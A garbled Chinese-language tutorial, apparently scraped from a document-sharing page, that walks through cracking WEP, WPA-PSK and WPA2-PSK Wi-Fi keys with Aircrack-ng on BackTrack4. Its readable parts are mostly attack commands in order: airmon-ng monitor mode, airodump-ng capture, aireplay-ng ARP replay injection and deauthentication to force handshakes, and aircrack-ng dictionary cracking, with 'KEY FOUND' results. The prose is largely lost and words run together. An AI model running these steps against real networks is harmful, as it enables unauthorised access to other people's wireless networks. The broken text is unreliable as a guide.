完全教程 Aircrack-ng破解WEP、WPA-PSK加密利器_图文

1、BT4 DNS DNSAP Linksys Dlink TPLink BelKin WEP WPA-PSKAircrack-ngAircrack-ng 802.11WEP WPA-PSK 2005 11 Aircrack 2.41 Aircrack-ngAircrack-ng WEP FMS WEP Scott Fluhrer Itsik Mantin Adi Shamir KoreK FMS Aircrack-ng Aircrack-ngAircrack-ng Aircrack-ng1aircrack-ngairodump-ng aircrack-ngairmon-ng airodump-n

2、g 802.11 aircrack-ng aireplay-ng WEP WPA-PSK airserv-ng airolib-ng WPA Rainbow Table airdecap-ngtools airdriver-ng packetforge-ngAircrack-ng BackTrack4 R2 BackTrack4 R2 “Backtrack”“Radio Network Analysis” “80211”“Cracking”“Aircrack-ng ”Aircrack-ng Shell aircrack-ng aircrack-ng Aircrack-ng WEPWEP Air

3、crack-ng Aircrack-ng WEPifconfigeth0 3USB PCMCIAifconfig -a-a ifconfig -awlan0 BackTrack4 R2 Linux4Windowswlan0 OKifconfig wlan0 upup ifconfig 5iwconfig ifconfigiwconfigLinux 6monitormonitorLinux Aircrack-ng airmon-ngairmon-ng start wlan0start ifconfigChipset Ralink 2573 rt73usb “monitor mode enable

4、d on mon0” mon0 7Aircrack-ng airmon-ngAP SSID MAC MAC Shellairodump-ng mon0mon0 8SSID “TP-LINK” AP BSSID MAC “00 19 E0 EB 33 66” MAC “00 1F 38 C9 71 71” 9SSID TP-LINKairodump-ng -ivs w longas -c 6 wlan0-ivs IVS-c AP-w “write 10 longas longas longase.ivs longas-01.ivs 10airodump-ng -01longaslongas-02

5、.ivslongas*.cap11 11AP ArpRequest/AP WEP “ARP Request” ARP AP ArpRequestaireplay-ng -3 -b AP mac -h mac mon0-3 ARPRequesr-b AP MAC SSID TPLINK AP MAC -h MAC MAC mon012 ARP 12ARP 13 ARP 13airodump-ng 14 TP-LINK packets 14aircrack-ng WEPIVs Shell Shellaircrack-ng ivsIVs 15 IVs aircrack-ng 411516 “KEY

6、FOUND” 16 ASCII AP 64 WEP IVs IVs 16 IVs 1617 AP AP SSID dlink 17×#87G 18 1818 19 13 WEP IVs 19IVSairodump-ng w longas -c 6 wlan0-ivs longas-01.ivs longas-01.cap 20 20longas-*.capaircrack-ng cap21 21ivs cap ivscap IP 20 200MB22 du longas-01.ivs 3088KB 3MB longas-02.cap 22728KB 20MB 22Aircrack-n

7、g WPA-PSKBackTrack4 R2 Linux WPA-PSKAircrack-ng1.3 Aircrack-ng Aircrack-ng Aircrack-ng 1.1airodump-ng OUI Aircrack-ngairodump-ng-oui-update23 23monitorBackTrack4 R2startxifconfig aifconfig wlan0 upairmon-ng start wlan0 monitor24 Chipset Ralink 2573 rt73usb “monitor mode enabled on mon0” mon0 24Aircr

8、ack-ng airodump-ngairodump-ng -c 6 w longas mon0-c AP-w “write longas longas longas.cap longas-01.capmon0 2525 Shell 25DeauthWEP WPA-PSK “Deauth” WPA-PSKaireplay-ng -0 1 a AP mac -c mac wlan0-0 deauth 10-a AP MAC-c MAC26 deauth 26airodump-ng 27 “WPA handshake” WPA-PSK AP MAC AP 27airodump-ng Deauth

9、AP -0 10 28 28WPA-PSKWPA-PSK aircrack-ng -w dic cap-w BT4SSID AP AP MAC 29 2930 T7100 +4GB 450k/s 4503031 “KEY FOUND” “longaslast” 450 key/s CPU 31Aircrack-ng WPA2-PSKWPA2-PSK airodump-ng WPA CCMP PSK 32 32aireplay-ng deauth WPA 33 33aircrack-ngaircrack-ng -w dic cap-w34 “KEY FOUND WPA2-PSK 19890305 34WPA-PSKAircrack-ngBT4 Atheros Prism2 Ralink PCMCIA PCI USB BT4 Aircrack-ngairodump-ng ArpRequestAP ARP 5 WEPaireplay-ng Deauth WPAAPcapairod